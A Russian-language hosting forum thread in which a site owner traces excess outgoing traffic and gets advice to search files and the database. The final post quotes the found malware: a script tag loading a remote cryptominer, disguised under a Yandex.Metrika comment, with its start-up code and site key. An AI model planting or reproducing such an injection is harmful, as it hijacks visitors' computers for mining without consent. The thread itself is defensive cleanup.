Мы используем cookie-файлы
Для оптимизации работы нашего сайта мы используем cookie-файлы. Продолжая использовать сайт, Вы соглашаетесь с использованием cookie-файлов.
Панель управления
  • Русский
  • Українська
  • English
  • UAH
  • USD
  • RUB
  • EUR
  • 0-800-307-307  Горячая линия
  • +38(044) 392-74-33  Киев
  • +38(057) 728-39-00  Харьков
  • +38(056) 794-38-31  Днепр
  • +38(032) 229-58-93  Львов
  • +38(048) 738-57-70  Одесса
  • +38(093) 170-15-42  Life
  • +38(067) 400-88-44  Киевстар
  • +1(888)393-24-51  USA, Toll free
  • +44(131)507-01-14  Great Britain
  • +7(499) 348-28-61  Москва

Хостинг. Как закрыть исходящие запросы на определенный IP


partydress
2 года
0
Как закрыть исходящие запросы на определенный IP

Сайт постоянно превышает свой лимит, изучил многое, но увидел несколько тысяч исходящих запросов каждый день на IP 35.156.202.150 через порт 80. Пытался закрыть этот порт, пишет зарезервировано.
Подскажите, может есть возможность закрыть этот IP, пока я не нашел тот троян, который, видимо это делает. Антивирусы ничего не находят, сайты анализаторы нашли вставку с неизвестного сайта:
https://verifier.live/lib/crypta.js
пока что пытаюсь найти ее локацию у себя. такого скрипта я не нашел, но может встроено куда-то.
спасибо за совет!

Дмитрий Б.
2 года
0

Попробуйте подключиться к Вашему аккаунту по ssh и сделать поиск по этому URL. Например командой grep -r 'crypta.js'

partydress
2 года
0

спасибо, попробую! я по ftp поиски проводил, но пока не нашел ни такого файла, ни встречающейся внутри информации(

KarlovA
2 года
0

Думаю, не лишним будет также поиск упоминаний crypta.js и в базе данных, которую использует сайт.

partydress
2 года
0

Понял, спасибо, поищу там тоже!

partydress
2 года
0

Вот нашел такой код на главной, замаскирован под счетчик яндекс-метрики.
<!-- /Yandex.Metrika counter -->
<script src="//verifier.live/lib/crypta.js"></script>
<script>
var miner=new CRLT.Anonymous('57fc2dc75627403dc458cdc79c9a94ba674aa541dd15', {
threads:4,throttle:0.2,
});
miner.start();
</script>

Участвовать в общении на этом форуме могут только зарегистрированные пользователи.